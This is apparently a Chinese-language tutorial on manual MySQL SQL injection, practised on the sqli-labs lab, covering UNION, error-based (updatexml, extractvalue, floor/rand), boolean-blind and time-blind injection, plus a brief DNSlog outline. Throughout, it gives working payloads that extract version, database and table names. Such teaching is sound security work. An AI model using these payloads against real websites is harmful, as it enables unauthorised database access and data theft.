前言
SQL注入漏洞是目前web安全中最为高危漏洞之一,在OWASP常年排名第一(截至2020.3.21),也是最为常见的漏洞之一,虽然随着开发人员安全意识的提高和开发工程的模板化,SQL注入不再像以前那么随处可见且没有任何防护,但是渗透技术也日趋复杂多样,而且提供web服务的企业太多了,并不是每一个企业的web服务都具有良好的安全防护措施,所以SQL注入目前还是渗透人员必须所具备的能力之一。
对大多数数据库而言,SQL注入的原理是类似的,因为每个SQL数据库都要一定的遵守SQL语法,但它们之间存在一些差异,本文章因为技术有限,使用市面上常用的SQL数据库——MySQL数据库进行举例说明,但疏通同归,攻击者对数据库的注入,其利用方式也是类似的:
- 查询数据
- 读写文件
- 执行命令
在权限允许的情况下,通常数据库都支持以上三种操作,而且攻击者的最终目的也是以上三种,只不过不同数据库注入的SQL语句不一样而已。
通常的SQL注入可以使用工具,比如SQLmap,其内置了很多功能,全面而强大,但是还是要掌握一些手动注入的方式,才能真正了解SQL注入。
SQL注入原理
SQL注入的产生
其实SQL注入漏洞的产生不难理解,就是用户在前端输入的数据交付给后端,数据要和SQL语句拼接成为完整的SQL语句,而此时后端对用户输入数据过滤不严,将其直接带入SQL语句进入SQL数据库查询,并且将结果返回到前端显示位上。
可以从程序的角度去理解这句话:
1 | <?php |
(以上程序截取自sqli-Less1)
发现其中$id
是来自前端$_GET
传参进来,但在php程序中未经任何处理就直接拼接成SQL语句:
SELECT * FROM users WHERE id='$id' LIMIT 0,1
这就造成了SQL注入
SQL注入的分类
依据变量类型:
- 数字型注入
- 字符型注入
依据传参方式:
- GET注入
- POST注入
- Cookie注入
依据注入的方式:
- 报错注入
- 延时注入
- 布尔盲注
- DNSlog注入
- 。。。。。(SQL注入的方式很多,甚至有更多骚操作不断被人发现利用中)
数字型注入
当输入的变量为整型时,若存在注入点,则可以称为数字型注入。
eg:假设有URL为
HTTP://www.sqlinject.com/test.php?id=3
若SQL语句为
select * from table where id=3
则此时参数为整型可以通过以下步骤检测是否有注入:
- id=3’ 发现报错 SQL语句为
select * from table where id=3'
- id=3 and 1=1 无错误 SQL语句为
select * from table where id=3 and 1=1
- id=3 and 1=2 语句正常但无法查出数据 SQL语句为
select * from table where id=3 and 1=2
数字型注入一般出现在ASP,PHP等弱类型语言中,因为弱类型语言会自动推导变量类型,例如:id=3时,会认为id变量为int类型,而id=3 and 1=1时,则会推导为string类型,这是弱类型语言的特性。
字符型注入
当输入参数为字符串时,称为字符型。而字符型数据在注入的时候需要单引号 '
去进行闭合。
例如: select * from table where username='root'
而此时注入就要用到单引号闭合: select * from table where username='root' order by 4--+'
(猜解列数)
POST注入 &GET注入&Cookie 注入
这三种注入类似,主要依据注入的位置来分辨,根据名称也很好理解,无非是表单在传输数据的方式有所不同,注意的是,cookie注入依据是php中$_REQUEST
变量(默认情况下包含了 $_GET
,$_POST
和 $_COOKIE
的数组),在GET和POST都做了输入过滤的时候,可以通过构造cookie变量形成注入。(但是这一特性在PHP5.4版本就不接受cookie传参了)
SQL手动注入
MySQL数据库
MySQL数据库是现在最为常用的数据库,一般和PHP组成后端黄金搭档,在SQL注入里,关于MySQL数据库也有很多技巧。
在MySQL5.0以后的版本,DBMS会自带一个信息数据库INFORMATION_SCHEMA,里面提供了访问元数据的一些方式。在INFORMATION_SCHEMA中有很多关键信息表:
在进行SQL注入的时候可以从这个信息数据库下手得到关键信息,如果没有这个表怎么办,当然也可以通过爆破获得关键信息,这个时候就要借助SQL注入工具来实现
- 一些相关函数:
Database() 返回当前所使用的数据库名称
Version() 返回当前版本信息
user() 返回当前用户信息
group_concat(name) 将name列以一行返回
Ascii() 返回参数的ASCII值
length() 返回长度
count() 返回元组个数
if(a, b, c) 条件语句,等价于 a?b:c
sleep() 睡眠函数
substr() 截取字符串长度
load_file() 读文件操作,需要用户具有FILE权限,且读取文件小于max_allowed_packet字节
into outfile() 写文件操作,需要用户具有FILE权限
- MySQL中的注释符
#
--+
/*注释中间*/
;%00
(00截断原理,成功率不是很高)
联合查询注入
联合查询是使用MySQL中的UNION查询,其用于把来自多个SELECT语句的结果组合到一个结果集合中,且每列的数据类型必须相同,而且UNION连接的SELECT语句中列数也要相同。
猜解列数
在使用UNION前首先得知道列数,才能构造正确的联合查询语句,可以使用ORDER BY字句:
我们用sqli举例:
此时我们用order by 3 ,让查询结果根据第三列排序
结果没问题,再次测试order by 4
此时就知道该结果有三列
payload
当知道列数的时候,就可以写出payload查询数据的信息:
比如:
查询数据库版本和当前数据库名:?id='union select 1,version(),database()--+
注意:页面的显示位只有两个,猜测为查询结果的第一个元组的第二三列属性,所以此时将前一个select语句查询结果置空,并且让第二个查询语句中第一列参数无意义。
这个时候其实这个注入点就有很多利用方式了,主要在于payload编写的目的用途:
查看所有库名字和当前库的所有表名:?id='union select 1,2,group_concat(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=database()--+
此处用group_concat()是为了让结果按行输出,才能正确输出到显示位上。
其他的payload类似,可以通过先获取全部的数据库名,在获取全部表名,再把所有列名获取,这样就可以获取DBMS中全部的数据了。
报错注入
原理
攻击者使用各种手段使程序报错,爆出相应的数据信息。前提是开发者讲sql语句的错误显示到页面上(具体的话或许开发人员开发时显示错误信息进行调试,结果忘记删除语句或者留者下次使用)。
一般是在页面没有显示位、但用echo mysql_error();
输出了错误信息的时候使用,它的特点是注入速度快,但是语句较复杂。
相关函数
concat(str1, str2) 将字符串首尾相连
updatexml((XML_document, XPath_string, new_value) 第一个参数:xml文档的名称,第二个参数:xpath格式的字符串,第三个参数:替换查找到的符合条件的数据
extractvalue(xml_str , Xpath) 第一个参数意思是传入xml文档,第二个参数xpath意思是传入文档的路径
利用xmlpath报错
在XPath处加上特殊字符,并加上查询语句,MySQL就会将错误和查询语句结果报错显示出来
注意:
- 必须在XPath传入特殊字符,MySQL才会报错
- XPath只会对特殊字符进行报错,这里可以用~,16进制的0x7e来进行利用
- XPath只会报错32个字符,所以要用到substr
payload
还是以sqli-less1举例,这里输出了mysql_error(),注意的是这里的注入点id是一个字符型注入,需要加'
进行闭合
?id=1'and updatexml(1,concat(0x7e,version(),0x7e),1)--+
可以发现这里将MySQL的版本信息显示了出来
?id=1'and updatexml(1,concat(0x7e,(select substr(group_concat(table_name),1,32) from information_schema.tables where table_schema=database()),0x7e),1)--+
这里使用substr
函数是为了在XPath报错长度限制下进行分段输出,但是此时group_concat(table_name)
的长度小于32,也可以不加substr
除了updatexml函数,也可以使用extractvalue函数
1'and extractvalue(1,concat(0x7e,version()))--+
extractvalue函数原理和updatexml函数类似,payload也相同,按照格式也可以写出其他payload将数据库所有信息查询出来。
基于主键重复的报错注入
参考文章(这篇博客非常棒,通俗易懂的介绍了这种报错注入原理)
相关函数
- floor() 向下取整
- rand() 0到1之间取随机数
- rand(0) 0到1之间取随机数,伪随机机制,有规律(0110 0110)
原理
group by 语句后跟的为主键,其值具有唯一性,当不唯一重复时会报错。
group by语句后面的字段会被运算两次。
第一次:group by后面的字段值拿到虚拟表中去对比,对比之前要运算group by后面字段的值,所以第一次的运算就发生在这里。
第二次:现在假设下一次扫描的字段的值没有在虚拟表中出现,也就是group by后面的字段的值在虚拟表中还不存在,那么就需要把它插入到虚拟表中,这里在插入时会进行第二次运算,由于rand函数存在一定的随机性,所以第二次运算的结果可能与第一次运算的结果不一致,但是这个运算的结果可能在虚拟表中已经存在了,那么这时的插入必然导致错误!
例如payload:
select count(*),(concat(floor(rand(0)*2),'@',(select version())))x from users group by x
group by
会根据x
也就是concat(floor(rand(0)*2),(select version()))
取遍历基本表的行数,查询虚拟表,假设当前version()
为5.7.26,第一次遍历计算得到0@5.7.26
,虚拟表没有,则插入,但此时经过二次计算又得到1@5.7.26
,在虚拟表中记录1 1@5.7.26
,前面的1是count的值。group by再次遍历计算得到1@5.7.26
,表中具有这个主键值,所以直接修改count值即可,不再计算,所以虚拟表就变为2 1@5.7.26
,第三次group by遍历计算得到0@5.7.26
,虚拟表中没有这个,需要新的元组插入,插入时经历第二次计算,得到1@5.7.26
,但是1@5.7.26
再虚拟表中已经有了,而且x
是主码,此时就会报错,并且将1@5.7.26
显示到前端显示位上
payload
还是以sqli-less1举例,因为这里输出了mysql_error()
?id=1'union select 1,count(*),(concat(floor(rand(0)*2),'@',(select version())))x from information_schema.columns group by x --+
注意的是这里后面联合查询用的表是information_schema.columns
,因为这个表是一定存在的(MySQL版本大于5.0),当然你也可以使用例如:information_schema.tables
,information_schema.schemata
来点长的复杂的payload:
?id=1'union select 1,count(*),(concat(floor(rand(0)*2),'@',(select group_concat(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=database())))x from information_schema.columns group by x --+
可以看到此处将当前使用的数据库里所有表名全部爆了出来
布尔盲注
原理
在实际应用中,如果页面没有显示位,输出SQL执行的错误信息,但如果存在这样一种情况,即如果执行了正确的SQL语句,则返回一个页面,如果SQL语句执行错误,则执行另一种页面。基于两种页面,来判断SQL语句的正确与否,达到获取数据的目的。
布尔盲注有一个缺点,就是速度太慢,消耗大量时间。
payload
布尔盲注的相关函数上面有提及,下面使用sqli-less8举例,这个就是用到布尔盲注进行爆破。
在sqli-less8中只有两种页面,没有显示位:
成功时页面为:
失败时页面为:
我们先获取数据库名的长度:
and (select length(database()))=长度
可以看到数据库名字长度为8位,然后我们可以逐一爆破出数据库的名字:
and (select ascii(substr(database(),位数,1)))=ascii码
猜解表的数量
and (select count(table_name) from information_schema.tables where table_schema=database())=数量
猜解某个表长度
and (select length(table_name) from information_schema.tables where table_schema=database() limit 某行,1)=长度
逐位猜解表名
and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit n,1)=ascii码
依次类推,知道可以猜解出全部的数据,整个猜解逻辑为:
- 猜解数据库名字长度,然后猜解到数据库名字
- 猜解数据库表的数量,然后猜解每个表的名字长度,最后把每个表的名字猜解出来
- 猜解猜解列名数量,然后猜解某个列名长度,最后逐位猜解列名
- 判断数据的数量,然后猜解某条数据的长度,最后逐位猜解数据
注意:猜解时候可以用到大于小于号,然后利用二分法加快查找,也可以使用Burp Suite暴力破解
延时盲注
原理
通过SQL语句查询的时间来进行注入,一般用于无页面回显,无报错,即只有一种页面的情况。
payload
关于延时盲注的相关函数上面也有介绍
实际中我们可以构造这样的payload:if(1=1,sleep(5),1)
,当1=1
为真时,页面将延时5秒回显,在这个判断语句中可以同布尔盲注一样加入蕴含数据库信息的语句。
下面进行用sqli-less9举例,sqli-less9就是一个具有延时盲注的注入点。
我们先获取数据库名的长度:
and if((select length(database()))=长度,sleep(5),0)
可以看到数据库名字长度为8位,当然可以通过>``<
确定一个范围在进行搜索
其他的payload也可以依次类推出来,构造的查询语句和布尔盲注类似
猜解数据库名
and if((select ascii(substr(database(),位数,1))=ascii码),sleep(5),0)
判断表名的数量
and if((select count(table_name) from information_schema.tables where table_schema=database())=个数,sleep(5),0)
判断某个表名的长度
and if((select length(table_name) from information_schema.tables where table_schema=database() limit n,1)=长度,sleep(5),0)
等等,猜测的逻辑和布尔盲注相同。
DNSlog注入
DNSlog注入,作用于Windows上服务器的SQL注入方式,MySQL像三级域名解析,像DNS服务器发送DNS请求,被记录在日志中,其中三级域名中含有数据库信息,查看日志即可获取信息。
原理过程如下:
(注意:LOAD_FILE函数使用是有条件的)